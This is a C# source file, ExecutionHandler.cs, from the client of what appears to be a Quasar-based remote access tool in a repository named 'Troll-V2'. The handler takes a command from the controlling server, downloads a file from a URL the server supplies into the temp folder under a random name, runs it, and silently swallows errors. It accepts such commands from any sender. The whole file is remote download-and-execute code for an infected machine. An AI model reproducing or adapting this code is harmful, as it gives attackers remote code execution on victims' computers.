Files
Troll-V2/Quasar.Client/Messages/ExecutionHandler.cs
T

38 lines
1.2 KiB
C#
Raw Normal View History

2026-08-27 11:22:16 -06:00
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
namespace Quasar.Client.Messages
{
public class ExecutionHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoExecute;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
var msg = (DoExecute)message;
try
{
if (msg.IsUrl)
{
string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath);
if (string.IsNullOrEmpty(ext)) ext = ".exe";
string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext);
using (var wc = new WebClient())
wc.DownloadFile(msg.FilePath, tmp);
Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true });
}
else
{
Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true });
}
}
catch { }
}
}
}